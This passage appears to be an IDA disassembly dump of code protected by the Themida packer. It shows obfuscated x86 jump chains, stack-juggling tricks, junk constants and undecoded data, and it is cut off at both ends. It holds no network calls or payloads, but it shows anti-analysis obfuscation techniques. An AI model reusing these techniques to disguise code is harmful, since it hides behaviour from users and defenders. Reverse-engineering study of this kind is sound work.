0FFC3E8E9h, 54C380FFh, 8324048Bh dd 0EB8004C4h, 0C0B60F9Ch, 688734FFh, 66Fh, 0BB241C89h dd 6FD454E3h, 0A1685755h, 5F3FE26Bh, 4EC81h, 14890000h dd 0E9505324h, 5890h, 8124348Bh, 4C4h, 56D8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AB3E: ; CODE XREF: Themida_:0055C60Dj add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] jmp loc_554C19 ; --------------------------------------------------------------------------- loc_55AB4D: ; CODE XREF: Themida_:0056482Ej add bl, 7Dh push edx mov dh, 73h neg dh or dh, 92h add dh, 87h xor dh, 0E9h jmp loc_554462 ; --------------------------------------------------------------------------- loc_55AB63: ; CODE XREF: Themida_:005534EBj shr ecx, 2 push esi sub esp, 4 jmp loc_5646BD ; --------------------------------------------------------------------------- db 83h dd 0D46804C4h, 8900007Eh, 0E9532414h, 3F42h, 79B6C681h dd 0F68136EDh, 7A28239Ch, 526FCE81h, 0F6814C6Ah, 62DB334Ch dd 9983C681h, 0F5012CB8h, 0E953455Eh, 0B195h, 8107E6C1h dd 0ADFC7CEEh, 0F2C181BEh, 101B503h, 5AA7E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABBE: ; CODE XREF: Themida_:00555942j mov ecx, esp add ecx, 4 push edx mov edx, 5BBB2683h xor edx, 5155313Eh xor edx, 0AEE17B9h add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_558DAD ; --------------------------------------------------------------------------- db 81h, 0C9h, 19h dd 5212DB6Fh, 3D8CCABAh, 0E9D1018Ch, 0FA5h ; --------------------------------------------------------------------------- loc_55ABFC: ; CODE XREF: Themida_:0055AE59j pop edi mov eax, [esp] jmp loc_562B3B ; --------------------------------------------------------------------------- db 0B8h, 0D6h, 56h dd 7B354897h, 2150CB33h, 24048BC7h, 4F04C483h, 0FF8FDEE9h dd 88C688FFh, 1A885AF3h, 709FE9h db 0 ; --------------------------------------------------------------------------- loc_55AC29: ; CODE XREF: Themida_:00563E78j push 5B7Bh mov [esp], ebp sub esp, 4 jmp loc_556C3E ; --------------------------------------------------------------------------- loc_55AC39: ; CODE XREF: Themida_:0055D618j jmp loc_552CC3 ; --------------------------------------------------------------------------- loc_55AC3E: ; CODE XREF: Themida_:0055EB3Dj mov esp, [esp] sub al, bl jmp loc_5610CC ; --------------------------------------------------------------------------- dd 8904EC83h, 4B9240Ch, 57000000h, 942F8BBFh, 0E9FB2927h dd 0FFFF90E8h, 5104C483h, 0FA6B966h, 6E9C166h, 642AE9h dd 81CF8800h, 4ECh, 240C8900h, 0CE88F988h, 8A9AE959h, 88500000h dd 58E588F4h, 0E9C5285Ah, 8699h ; --------------------------------------------------------------------------- loc_55AC94: ; CODE XREF: Themida_:00561B29j add esp, 4 jmp loc_560E4D ; --------------------------------------------------------------------------- dword_55AC9C dd 5FF968h, 242C8900h, 0BA52E589h, 4, 835AD501h, 2C3304EDh ; DATA XREF: Themida_:00552A7Co dd 242C3124h, 8B242C33h, 0C892424h, 1317B924h, 0E95379EAh dd 78E1h, 8124148Bh, 4C4h, 4CB2E900h, 0D2F70000h, 0BF9E9h db 0 ; --------------------------------------------------------------------------- loc_55ACE1: ; CODE XREF: Themida_:00566D8Cj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 18A8h mov [esp], ebp push edi mov edi, 483C6BC7h jmp loc_557B4E ; --------------------------------------------------------------------------- dw 0CE31h dd 5EF30159h, 4B95F381h, 0DF01D433h, 81241C8Bh, 4C4h, 2C815700h dd 14413E24h, 0C5815D08h, 814413Eh, 5DE9015Fh, 0E904C183h dd 6629h, 8324348Bh, 2DBE04C4h, 292C341Dh, 0F0015BDEh dd 4EC835Eh, 0E9240C89h, 0FFFF8582h, 0AD3EA81h, 0D089F42Bh dd 17E1E95Ah db 2 dup(0) aNhI db '╜hЁI',0 ; DATA XREF: Themida_:00552BCCo align 4 dd 57243489h, 46541FBFh, 9776E965h, 0B951FFFFh, 4, 0B03BE9h db 0 ; --------------------------------------------------------------------------- loc_55AD81: ; CODE XREF: Themida_:00560CBEj mov ebp, esp add ebp, 4 jmp loc_5571F5 ; --------------------------------------------------------------------------- loc_55AD8E: ; CODE XREF: Themida_:0055C0DBj add ebx, 5B2209A9h shl ebx, 8 sub ebx, 1BB0AA01h sub edx, ebx pop ebx not edx add edx, 0D6CCB00Eh add ecx, edx pop edx push edx jmp loc_55A22B ; --------------------------------------------------------------------------- db 21h, 0F3h, 5Eh dd 14F5BD55h, 0ED817E48h, 5246F489h, 2C8BEB29h, 9DCEE924h dd 34FFFFFFh, 96E95B24h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ADD3: ; CODE XREF: Themida_:0056608Dj mov [esp], ebp sub esp, 4 mov [esp], ecx push 2785h mov [esp], edi jmp loc_563B65 ; --------------------------------------------------------------------------- db 2Dh, 0B2h, 5Eh dd 0E0C1656Ch, 0FFFF2D07h, 0A72DFFFFh, 0E960CD33h, 849Ah dd 4A8CC681h, 0C68179A3h, 5A007BEh, 1BEEE94Eh, 15A0000h dd 0DBBD55F8h, 13E5945h, 3C8B5DE8h, 4C48324h, 31240433h dd 4332404h, 24248B24h, 24048B66h, 0FF991BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AE39: ; CODE XREF: Themida_:0055CE30j mov [esp], ebx mov ebx, 6CFB1065h or ebx, 11DA78F6h push 0 sub [esp], ebx jmp loc_55751C ; --------------------------------------------------------------------------- loc_55AE54: ; CODE XREF: Themida_:00562FC7j sub edi, ebx pop ebx sub ecx, edi jmp loc_55ABFC ; --------------------------------------------------------------------------- aSax db '[И═x',0 align 4 dd 4BB53h, 0DE010000h, 2434335Bh, 33243431h, 248B2434h dd 4EC8324h, 0BF243C89h, 64643DC6h, 3DC2F781h, 4B056464h dd 0E9521B6Eh, 0FFFFE4C0h, 75F8B951h, 0BE5663F8h, 4EF31D94h dd 4D02E9h, 7CF18100h, 0E9446F64h, 31Ah, 0DBF637B3h, 0C380CBFEh dd 0D0EB80FFh, 30F3EB80h, 0EC815BDDh, 4, 0C3BFE9h db 0 ; --------------------------------------------------------------------------- loc_55AECD: ; CODE XREF: Themida_:0055C66Cj push edi mov edi, 0E73D7501h add ebx, edi jmp loc_561078 ; --------------------------------------------------------------------------- loc_55AEDA: ; CODE XREF: Themida_:00555108j shl al, 1 add al, 0CFh jmp loc_55C90F ; --------------------------------------------------------------------------- byte_55AEE3 db 0ACh ; DATA XREF: Themida_:00552B44o ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5563ED ; --------------------------------------------------------------------------- dd 42474FFh, 24048F58h, 0FFF9CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AEF9: ; CODE XREF: Themida_:0055EF36j sub edi, 7D535DA5h sub edi, 0E6F1BA9Ch and esi, edi pop edi add esi, 673B0AADh jmp loc_5546BB ; --------------------------------------------------------------------------- loc_55AF13: ; CODE XREF: Themida_:00556536j push 12564EEDh push dword ptr [esp] jmp loc_567346 ; --------------------------------------------------------------------------- dd 2C1835Fh, 31240C33h, 65E9240Ch db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AF2F: ; CODE XREF: Themida_:0055D670j push ebx jmp loc_55327B ; --------------------------------------------------------------------------- loc_55AF35: ; CODE XREF: Themida_:0055726Bj add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_566407 ; --------------------------------------------------------------------------- dw 2DBAh dd 564214Fh, 4DDE3DADh, 0AD2DD029h, 5A4DDE3Dh, 183E948h dd 0EA810000h, 746328F3h, 0C6B7E9h, 24048F00h, 0B5DAE95Ch dd 0D2F70000h, 0FFCE69E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF79: ; CODE XREF: Themida_:00566E8Fj or eax, eax jmp loc_554197 ; --------------------------------------------------------------------------- dd 5E2434FFh, 4C481h, 42E90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF8F: ; CODE XREF: Themida_:00560E6Ej mov ah, 72h dec ah push ecx mov cl, 0D6h add ah, cl jmp loc_55A0B6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 31000000h, 79DB68C3h, 0C890000h, 64B05024h, 38D368h dd 24148900h, 0C7E9E3B6h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFBF: ; CODE XREF: Themida_:00560E9Bj add ecx, 2FC564C8h push ebx mov ebx, 508356A3h and ebx, 77AA654Fh neg ebx xor ebx, 0AF7DBBFDh sub ebx, 6A625CDDh add ebx, ecx push ecx jmp loc_563ECE ; --------------------------------------------------------------------------- db 81h dd 3104246Ch, 13C4559h, 0E9042454h, 9B46h, 89FDC181h, 0CA0161A6h dd 36DBE9h, 59CA3100h, 11E9D029h, 570000B1h, 4BFh, 0B8B85000h dd 143381Bh, 58082444h, 4244481h, 4CDF4358h, 4246C81h dd 570242CEh, 4247C01h, 4244481h, 570242CEh, 4246C81h dd 4CDF4358h, 4246C81h, 43381BB8h, 57243C8Bh, 0C781E789h dd 4, 8704C783h, 0E95C243Ch, 5377h, 49EC381h, 34FF0CC7h dd 89575D24h, 4C781E7h, 0E9000000h, 0FFFF8FF9h ; --------------------------------------------------------------------------- loc_55B07C: ; CODE XREF: Themida_:00558A9Dj mov edx, [esp] add esp, 4 pop edi push 4D65h mov [esp], edi xchg ebx, [esp] push ebx xchg edx, [esp] push edx not dword ptr [esp] pop edx xchg edx, [esp] pop ebx xchg ebx, [esp] jmp loc_55727F ; --------------------------------------------------------------------------- dw 814Bh dd 3D5499E3h, 0EC3813Bh, 81735A56h, 4E5A76F3h, 472CE93Fh dd 0C2FE0000h, 88DEF280h, 3E00E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B0CA: ; CODE XREF: Themida_:00566BCAj sub eax, 2BBB22D8h sub eax, 687B3012h not eax jmp loc_55D702 ; --------------------------------------------------------------------------- aYsD db 'YИ[d',0 dd 5CB33500h, 0BD550C50h, 0F7FE008h, 0C0A9E9h db 0 ; --------------------------------------------------------------------------- loc_55B0F1: ; CODE XREF: Themida_:0055B190j mov edx, [esp] jmp loc_56770A ; --------------------------------------------------------------------------- loc_55B0F9: ; CODE XREF: Themida_:0056146Bj push 5D6A1623h push dword ptr [esp] mov ebp, [esp] jmp loc_55F9AB ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 248B2404h, 3CD36624h, 0A4E99C24h, 53FFFF7Bh dd 0EAE9E389h, 8FFFFF9Bh, 5C2404h, 0E99C2404h, 0FFFF7B8Fh dd 240C8966h, 0C800B6B1h, 1C8B5966h, 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_553FFC ; --------------------------------------------------------------------------- loc_55B152: ; CODE XREF: Themida_:00557BA6j add eax, ecx sub eax, 620952F4h pop ecx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_557B75 ; --------------------------------------------------------------------------- loc_55B16C: ; CODE XREF: Themida_:0055D6FDj mov [esp], edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] pop esp jmp loc_5596A5 ; --------------------------------------------------------------------------- loc_55B180: ; CODE XREF: Themida_:005587D0j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55B0F1 ; --------------------------------------------------------------------------- aV30u_sbg db 'V╬30Н_И│g',0 align 10h loc_55B1A0: ; CODE XREF: Themida_:0055B3FFj push ebx mov ebx, 4 sub edi, 3F7A53AFh add edi, ebx add edi, 3F7A53AFh push dword ptr [esp] pop ebx jmp loc_564941 ; --------------------------------------------------------------------------- db 0FEh, 0C6h, 51h aRAs6 db 'R╡{╠═И6[',0 align 2 dw 0E1C1h dd 0F7F18106h, 196DD21h, 0CF0159CFh, 5437EF81h, 0C8B0963h dd 4C48124h, 87000000h, 248B243Ch, 4BF5724h, 0E9000000h dd 0FFFF89ABh, 0FFE8295Ch, 835D2434h, 48904ECh, 4EC8324h dd 0E9242489h, 222Ah, 9DE9D989h, 5C000057h, 8C20E9h db 0 ; --------------------------------------------------------------------------- loc_55B21D: ; CODE XREF: Themida_:00557A4Fj mov ecx, 0A22BCE5Dh add ebx, 2506AACh add ebx, ecx sub ebx, 2506AACh jmp loc_555509 ; --------------------------------------------------------------------------- db 81h, 0EDh, 37h dd 8177AC5Fh, 133FE2C5h, 7AED811Ah, 811BBF13h, 0EF507CC5h dd 22ED812Ah, 5B3D197Dh, 2BF57h, 0FD010000h, 5F2434FFh dd 73E95455h, 800000BFh, 0EA80EAEAh, 0E9D408DEh, 0FFFFA9A8h ; --------------------------------------------------------------------------- loc_55B274: ; CODE XREF: Themida_:00565854j pop eax add eax, 69EC158Ch pop ebx sub edi, eax jmp loc_555897 ; --------------------------------------------------------------------------- loc_55B282: ; CODE XREF: Themida_:005650D5j add esi, 4 add esi, 4 jmp loc_5552A8 ; --------------------------------------------------------------------------- aSnx db '^Иnx',0 db 0 ; --------------------------------------------------------------------------- loc_55B299: ; CODE XREF: Themida_:00556774j push ebp jmp loc_554512 ; --------------------------------------------------------------------------- db 89h dd 32BE2434h, 135C776h, 0A3A7E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2AE: ; CODE XREF: Themida_:0055E8BDj push dword ptr [esp] pop ebp push ebp jmp loc_561252 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812434h, 4, 5E08950h, 4, 0B81DE9h, 0E9D70100h dd 90CEh ; --------------------------------------------------------------------------- loc_55B2D8: ; CODE XREF: Themida_:0055A8F7j push edi mov edi, 0FFE1907h mov ebx, 541E7652h xor ebx, edi pop edi xor ebx, 1A5C62CEh jmp loc_55E7F7 ; --------------------------------------------------------------------------- loc_55B2F1: ; CODE XREF: Themida_:00565B8Dj mov edi, 66CE2E30h xchg ecx, edi not ecx xchg ecx, edi neg edi not edi inc edi add edi, 1F9D24C7h mov ecx, edi pop edi xor ebx, ecx pop ecx jmp loc_564918 ; --------------------------------------------------------------------------- dw 0F181h dd 0E11DA048h, 159CA31h, 0DFF75AD7h, 4EC81h, 0C890000h dd 4BE9B924h, 0CF296722h, 83EF8159h, 89D95D33h, 0C1815FFEh dd 4BED37E5h, 0EC81F101h, 4, 0BE243489h, 4BED37E5h, 180CC181h dd 0E9812359h, 44041BFDh, 475AE9h, 56E95D00h, 87FFFFF2h dd 248B2434h, 4A30F24h, 4CE99C24h, 59FFFF79h, 83241C8Bh dd 0CC8004C4h, 3EC80D0h, 48BE728h, 4C48324h, 6504672Ch dd 6286E9h, 1CE7B900h, 0F1811DD4h, 295E7A75h, 580BE981h dd 0E9573A4Eh, 746Ah, 0E95DE801h, 0FFFFC997h, 24E9FB01h dd 5DFFFF7Eh, 8304C483h, 86804E8h, 89000000h, 74FF2404h dd 3AE90424h, 0BBFFFFABh, 0DF918ECh, 7575CB81h, 0E3C14742h dd 8EBC102h, 148768h, 24048900h, 0FF8134E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B3F1: ; CODE XREF: Themida_:00554E11j pop edx jmp loc_55C75B ; --------------------------------------------------------------------------- loc_55B3F7: ; CODE XREF: Themida_:0055FCA7j mov edi, esp add edi, 4 jmp loc_55B1A0 ; --------------------------------------------------------------------------- dd 0BB241C89h, 133956Fh, 0D3E95357h, 8F00002Ah, 2D682404h dd 8900004Ch, 0E2892414h, 4BE56h, 0EA810000h, 66725AB6h dd 0C281F201h, 66725AB6h, 4EA835Eh, 5C241487h, 2F4CE9h db 0 byte_55B441 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552BACo dd 8B2434FFh, 8CE92414h, 580000ACh, 815AD121h, 0D194BC9h dd 0E3E1817Dh, 817C3C70h, 0C5047F1h, 8BCE017Ch, 8951240Ch dd 4C181E1h, 0E9000000h, 0FFFFD2B7h, 0E9240C8Bh, 0C07h dd 27E6815Eh, 461BAA29h, 0A816EE81h, 93E9DC8Ch db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B493: ; CODE XREF: Themida_:00566C97j sub edx, ebx jmp loc_55E8CD ; --------------------------------------------------------------------------- dw 0BE56h dd 2867029Ah, 22E0F681h, 0F1095040h, 0E924348Bh, 0FFFFC661h dd 58E9F0B0h, 0B9000059h, 4, 93E9C829h, 5DFFFFB6h, 0A47334BAh dd 9EDEE971h, 1C890000h, 883CB324h, 5045BD9h, 18E9C828h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4DF: ; CODE XREF: Themida_:00565AB2j add edx, 0A0DD5F57h push edx pop esi pop edx or esi, 756163F0h push eax mov eax, 58E05674h add eax, 73ED1720h xor eax, 48D14D46h push eax not dword ptr [esp] jmp loc_561304 ; --------------------------------------------------------------------------- db 66h dd 8166FB01h, 6636DDEBh, 81243C8Bh, 2C4h, 0C3E95100h db 3Eh, 2 dup(0) byte_55B51F db 66h ; DATA XREF: Themida_:00552AA8o dd 6824048Bh, 4123h, 89240489h, 405E0h, 0B3E90000h, 31FFFF7Ah dd 80E9242Ch, 83FFFF93h, 5F042404h, 64F2B850h, 0B935198Dh dd 48131361h, 0F707E0C1h, 344235D8h, 0BF5749E8h, 8940A39h dd 7C09F781h, 814763B2h, 1547A1EFh, 81E7D137h, 37321EF7h dd 7C7A2D91h, 0F8295D02h, 27C7A05h, 0A5BFE95Dh, 0F001FFFFh dd 8324348Bh, 348B04C4h, 76BEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B596: ; CODE XREF: Themida_:0056386Dj pop ebp add edi, 4 xchg edi, [esp] pop esp jmp loc_562731 ; --------------------------------------------------------------------------- loc_55B5A3: ; CODE XREF: Themida_:0055C7F6j add edi, 4 xchg edi, [esp] mov esp, [esp] add ecx, 4 sub ecx, 4 jmp loc_562D68 ; --------------------------------------------------------------------------- loc_55B5BD: ; CODE XREF: Themida_:00561AD6j popf retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF76FFh ; --------------------------------------------------------------------------- loc_55B5C4: ; CODE XREF: Themida_:0056735Bj pop ebx push dword ptr [esp] mov ecx, [esp] jmp loc_55949C ; --------------------------------------------------------------------------- dd 241C8B5Fh, 0FFA32EE9h, 4B8FFh, 0C2810000h, 3D0139FDh dd 0EA81C201h, 3D0139FDh, 0FF8DF0E9h, 0ADE95BFFh, 81FFFF99h dd 60828F3h, 0C8CB811Dh, 0C1495122h, 0EB8104E3h, 0B5727FECh dd 7F2EC281h, 0DA011E52h, 7F2EEA81h, 815B1E52h, 4EAh, 3DD3E900h dd 0CA010000h, 7951B951h, 0BF5772A2h, 72B61F6Ch, 0C15FF901h dd 1FE905E1h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B63F: ; CODE XREF: Themida_:00562FEFj shl edx, 7 inc edx sub edx, 28E92002h sub eax, edx pop edx jmp loc_5552F0 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 6624248Bh, 6866E9F7h, 89663288h, 50662414h, 7659E99Ch db 2 dup(0FFh) word_55B66A dw 77FFh ; DATA XREF: Themida_:00552B40o dd 19589D1Ch, 0E99C2404h, 0FFFFAA3Fh, 5FFA295Eh, 15B9E9h dd 4C68100h, 50000000h, 0FFF0EBE9h, 242C89FFh, 9B15F168h dd 0F5815D68h, 1D847C2Eh, 0FFB616E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6A1: ; CODE XREF: Themida_:00557030j pop esi sub esp, 4 jmp loc_556382 ; --------------------------------------------------------------------------- dw 0F180h dd 59CA2886h, 805FCA80h, 0F280BACAh, 5AD42873h, 48BE288h dd 8EE95224h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B6C7: ; CODE XREF: Themida_:0055C661j add [esp+8], ebx pop ebx sub esp, 4 mov [esp], eax mov eax, 76F47C8Fh sub [esp+8], eax pop eax add dword ptr [esp+4], 474377Fh push dword ptr [esp] pop edx add esp, 4 jmp loc_55EC2A ; --------------------------------------------------------------------------- loc_55B6F0: ; CODE XREF: Themida_:0055E0F9j mov eax, 3680033Ah sub eax, 0A77216Ah neg eax xor eax, 91D35F89h or ebp, eax pop eax jmp loc_553F23 ; --------------------------------------------------------------------------- loc_55B709: ; CODE XREF: Themida_:0055F1C5j mov cl, bl push edx jmp loc_562B5D ; --------------------------------------------------------------------------- db 1, 0C6h, 0E9h dd 0B466h, 88BCE950h, 14870000h, 7EF5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B726: ; CODE XREF: Themida_:005531C8j push dx push ebx push ecx jmp loc_55FA60 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5D00100h, 72B87AF0h, 5A2434FFh, 4EC81h, 1C890000h dd 469AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B74E: ; CODE XREF: Themida_:00561537j add esp, 4 jmp loc_552CC3 ; --------------------------------------------------------------------------- db 2Dh, 62h, 48h dd 7C057AD7h, 5754540h, 11E762C8h, 0C82DD801h, 6811E762h dd 7ED4h, 0BA241489h, 7B2679D7h, 30F28142h, 81254606h dd 0E4C094C2h, 1D9F2D16h, 0A5E95342h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B793: ; CODE XREF: Themida_:00566B79j mov edx, [esp] add esp, 4 neg edi add edi, 8B328F52h jmp loc_55C572 ; --------------------------------------------------------------------------- loc_55B7A6: ; CODE XREF: Themida_:0055CF32j bt [esp], ax pushf jmp loc_552CC3 ; --------------------------------------------------------------------------- loc_55B7B1: ; CODE XREF: Themida_:00567720j add ebp, 2 xchg ebp, [esp] pop esp jmp loc_5627E1 ; --------------------------------------------------------------------------- db 0B9h, 40h, 2Fh dd 0E9571930h, 60Fh ; --------------------------------------------------------------------------- loc_55B7C8: ; CODE XREF: Themida_:00563860j add esp, 4 jmp loc_554C8B ; --------------------------------------------------------------------------- loc_55B7D3: ; CODE XREF: Themida_:0056079Dj mov [esp], ebx mov ebx, esp jmp loc_56532B ; --------------------------------------------------------------------------- loc_55B7DD: ; CODE XREF: Themida_:00566F24j add eax, 39DB3925h add eax, ebx sub eax, 39DB3925h pop ebx mov edi, eax mov eax, [esp] add esp, 4 push ecx mov ecx, edi mov ebx, ecx pop ecx pop edi push edi mov edi, ebx mov edx, edi pop edi pop ebx jmp loc_566B07 ; --------------------------------------------------------------------------- dd 240C8B66h, 57E28952h, 0E904EC83h, 0FFFFE85Fh, 0DFF7475Ah dd 0C102E7C1h, 0C78108EFh, 0AFA34A1Ch, 58BAEB81h, 0FB293D8Bh dd 58BAC381h, 3C8B3D8Bh, 4C48324h, 6DE9D831h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B843: ; CODE XREF: Themida_:0055349Cj push eax not dword ptr [esp] pop eax push ebp mov ebp, 7BFD2285h jmp loc_5602C4 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 0D5C4E900h, 0EC83FFFFh, 242C8904h, 0D45297BDh dd 0E9565547h, 1720h ; --------------------------------------------------------------------------- loc_55B870: ; CODE XREF: Themida_:0055C516j add ecx, eax push dword ptr [esp] pop eax push edi jmp loc_56267A ; --------------------------------------------------------------------------- dd 523BACB9h, 1F48E971h, 0C870000h, 5DE95C24h, 0F7000040h dd 0C3814BDBh, 0E29DBB45h, 815BDE29h, 0BF5BBFEEh, 77E3E924h dd 0D629FFFFh, 515EF287h, 0D279EB9h, 0FA5CE944h, 0BB9FFFFh dd 8127BEA9h, 51D94C3h, 0E0EB8155h, 14F481Eh, 0E0C381CBh dd 814F481Eh, 51D94EBh, 79AFE955h, 0F2810000h, 0C0B7CAFDh dd 565AD601h, 42474FFh, 5E2434FFh, 8F04C483h, 815C2404h dd 4C2h, 0BD555000h, 12463B79h, 0E117D0B8h, 5DE80127h dd 27534B35h, 58C2013Ah, 86D2E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B916: ; CODE XREF: Themida_:0055C90Aj pop ebx push edx mov edx, esp add edx, 4 jmp loc_561857 ; --------------------------------------------------------------------------- loc_55B925: ; CODE XREF: Themida_:0055ED45j shl edi, 8 add edi, 3D986790h add edi, 253F6986h jmp loc_56455F ; --------------------------------------------------------------------------- db 1, 0EBh, 5Dh dd 8704C383h, 248B241Ch, 2434FF24h, 56240C8Bh, 0C681E689h dd 4, 4C681h, 34870000h, 0F9685C24h, 8900006Ah, 7268241Ch dd 0E9000071h, 15D2h, 66242C86h, 8324048Bh, 18E902C4h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B97F: ; CODE XREF: Themida_:00564EF2j xchg ecx, [esp] jmp loc_564B72 ; --------------------------------------------------------------------------- db 1 dd 0FF575DEFh, 5F042474h, 5C24048Fh, 0FF732AE9h, 402FB9FFh dd 0CF013366h, 57E7D159h, 8B2414F7h, 0C481243Ch, 4, 68h dd 0D59E900h, 0CFB90000h, 0E93D685Fh, 43CAh ; --------------------------------------------------------------------------- loc_55B9C4: ; CODE XREF: Themida_:00562189j pop ebp add esp, 4 jmp loc_557A8E ; --------------------------------------------------------------------------- dd 4BFh, 23E95200h, 0C1FFFFDCh, 555307E0h, 0B78D3BDh, 0D20EBB20h dd 0EB292D21h, 81DBF75Dh, 34360BEBh, 81E3D171h, 0FFFFFFC3h dd 0DEB951FFh, 0E96B5B51h, 0FFFF9B5Ch, 8904C483h, 75685BD8h dd 8900002Dh, 0D7BA2414h, 68688665h, 3023h, 7B1AE9h db 0 ; --------------------------------------------------------------------------- loc_55BA25: ; CODE XREF: Themida_:0055D435j mov eax, [esp] push edi sub esp, 4 mov [esp], esp jmp loc_554DCA ; --------------------------------------------------------------------------- db 81h dd 7082444h, 0E976C407h, 0FFFF9577h, 0E9240489h, 0FFFF8147h dd 8077C980h, 0E98001C1h, 6E98064h, 85EE980h, 240C8BCAh dd 8004C483h, 21E979C2h, 81FFFF89h, 0D74079CDh, 0E3F58100h dd 0F760B60Ch, 0A1CD81DDh, 817CD95Dh, 0E00FF7EDh, 5DEF2943h dd 1770E981h, 0C181007Ch, 2BE25ED0h, 0E981F901h, 2BE25ED0h dd 36E95352h, 87FFFF95h, 0E95C2414h, 0AA8Dh, 0FF6C781h dd 0BB536116h, 10EF165Ch, 3E37E9h, 30C56800h, 73E90000h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BAC7: ; CODE XREF: Themida_:0055D988j push cx jmp loc_565A6B ; --------------------------------------------------------------------------- loc_55BACE: ; CODE XREF: Themida_:0055515Aj not ebp jmp loc_5679A1 ; --------------------------------------------------------------------------- db 31h, 0F2h, 5Eh dd 32ABF281h, 0B951F61Bh, 2B2C5F3Dh, 30E9D9F7h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BAEB: ; CODE XREF: Themida_:005561E2j add ebp, edi pop edi jmp loc_559684 ; --------------------------------------------------------------------------- db 0BAh dd 55E40037h, 3843C281h, 56427DFDh, 2E31A4BEh, 913CE90Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB0A: ; CODE XREF: Themida_:00564B39j mov bl, 0D0h push 3D13h mov [esp], edx mov dl, bl jmp loc_5587C8 ; --------------------------------------------------------------------------- loc_55BB1B: ; CODE XREF: Themida_:00553865j add esi, 12232D26h pop ebp mov ecx, 677628CDh sub ecx, esi jmp loc_56570C ; --------------------------------------------------------------------------- dw 34FFh dd 88E95B24h, 0B9FFFF87h, 0FDE24FBh, 528BE9h, 5E3C000h dd 0FF916EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BB49: ; CODE XREF: Themida_:00557A7Bj pop edx add esp, 4 pop dword ptr [edi+24h] jmp loc_563748 ; --------------------------------------------------------------------------- dd 0ABC6E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB5E: ; CODE XREF: Themida_:00567792j push 3F4Bh mov [esp], ebx jmp loc_555E95 ; --------------------------------------------------------------------------- db 43h dd 4E9DBF7h, 5D000078h, 0FF7FD0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BB79: ; CODE XREF: Themida_:00560CABj push ecx mov ecx, 3D0A6922h jmp loc_565BCF ; --------------------------------------------------------------------------- loc_55BB84: ; CODE XREF: Themida_:0055D22Cj mov ecx, 75981D68h neg ecx not ecx not ecx inc ecx xor ecx, 27E40045h add ecx, 527C1D28h jmp loc_5655A0 ; --------------------------------------------------------------------------- db 5Ah, 1, 0CDh dd 2434FF59h, 4C4835Eh, 8B242C87h, 8B662424h, 5F682404h dd 89000023h, 0E6892434h, 7E9768h, 240C8900h, 834128B9h dd 0E6895650h, 4C681h, 8DE90000h, 81FFFF84h, 0F1871DEBh dd 0E9DA8980h, 0FFFF905Eh, 5C9FE950h, 0D8280000h, 0DEE9932Ch dd 2C00005Dh, 9755E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBFE: ; CODE XREF: Themida_:0055C8CBj mov ebx, [esp] add esp, 4 push esi jmp loc_556128 ; --------------------------------------------------------------------------- word_55BC0A dw 8B66h ; DATA XREF: Themida_:00552AACo dd 0E9240Ch, 870000B4h, 895C2434h, 0C1BA2414h, 0E937BE62h dd 0FFFF8D16h, 4077BF57h, 0F8292DAAh, 4875E5Fh, 24248B24h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0BE243489h, 786539C2h dd 4247401h, 5E2434FFh, 4364E9h db 0 ; --------------------------------------------------------------------------- loc_55BC59: ; CODE XREF: Themida_:00557858j mov ebx, esp add ebx, 4 push ecx mov ecx, 69F3481Fh jmp loc_5675D4 ; --------------------------------------------------------------------------- loc_55BC6C: ; CODE XREF: Themida_:0055E301j sub esp, 4 jmp loc_55C0E8 ; --------------------------------------------------------------------------- loc_55BC74: ; CODE XREF: Themida_:00557483j push ebp mov ebp, esp add ebp, 4 add 